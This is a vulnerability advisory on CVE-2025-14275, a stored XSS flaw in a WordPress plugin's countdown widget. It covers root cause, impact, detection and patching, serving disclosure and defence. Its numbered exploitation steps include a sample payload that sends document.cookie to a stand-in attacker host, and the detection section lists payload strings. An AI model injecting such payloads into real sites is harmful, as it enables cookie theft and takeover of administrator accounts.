CVE-2025-14275: 
WordPress vulnerability analysis and mitigation

CVE-2025-14275 is a Stored Cross-Site Scripting (XSS) vulnerability in the Jeg Elementor Kit plugin for WordPress, affecting all versions up to and including 3.0.1. The flaw resides in the countdown widget's redirect functionality, where insufficient input sanitization allows authenticated attackers with Contributor-level access or above to inject arbitrary JavaScript. The vulnerability was disclosed on January 7–8, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerable code is located in the countdown widget's JavaScript (assets/js/elements/countdown.js), where the redirect URL parameter is not properly sanitized before being rendered in the page. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload in the countdown widget's redirect field; the payload executes in the browser of any user (including administrators) who subsequently views the page containing the widget. The fix was introduced in the plugin changeset moving from version 3.0.1 to the patched trunk version (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, when they view a page containing the malicious countdown element. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of the WordPress site. The changed scope (S:C in the CVSS vector) indicates the impact extends beyond the attacker's own session to affect other users and potentially the entire WordPress installation (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14275 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Jeg Elementor Kit ≤ 3.0.1.
2. Create or Edit a Page: Navigate to the WordPress editor and create or edit a page/post that includes the Jeg Elementor Kit countdown widget.
3. Inject Malicious Payload: In the countdown widget's redirect URL field, insert a JavaScript payload such as javascript:fetch('https://attacker.com/steal?c='+document.cookie) or an event-handler-based XSS string that bypasses any client-side validation.
4. Publish the Page: Save and publish the page so the malicious payload is stored in the database and rendered for all visitors.
5. Trigger Execution: Wait for an administrator or privileged user to view the page; the injected JavaScript executes in their browser context, enabling session hijacking, credential theft, or further administrative compromise (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to page/post edit endpoints by Contributor-level accounts, particularly those adding or modifying countdown widget blocks.
• Database: Suspicious JavaScript strings (e.g., <script>, javascript:, onerror=, fetch(, document.cookie) stored in the wp_posts or wp_postmeta tables associated with countdown widget configurations.
• Network: Outbound requests from administrator browsers to unknown external domains shortly after viewing pages containing countdown widgets, potentially indicating cookie exfiltration.
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, review recently modified pages in the WordPress admin for unexpected script content.

WordPress site administrators should update the Jeg Elementor Kit plugin to version 3.0.2 or later, which includes the fix for insufficient input sanitization in the countdown widget's redirect functionality. The patch can be reviewed in the official WordPress plugin repository changeset. As a temporary workaround, restrict the ability of Contributor-level users to add or edit pages containing the countdown widget, or disable the countdown widget functionality until the update is applied (Wordfence, WordPress Trac).

Wordfence included CVE-2025-14275 in its weekly WordPress vulnerability report for January 5–11, 2026, highlighting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). Sucuri also referenced the vulnerability in its January 2026 vulnerability patch roundup (Sucuri Blog). A Nuclei template request was filed on GitHub to facilitate automated detection of the vulnerability (GitHub Nuclei). No significant social media controversy or threat actor attribution has been observed.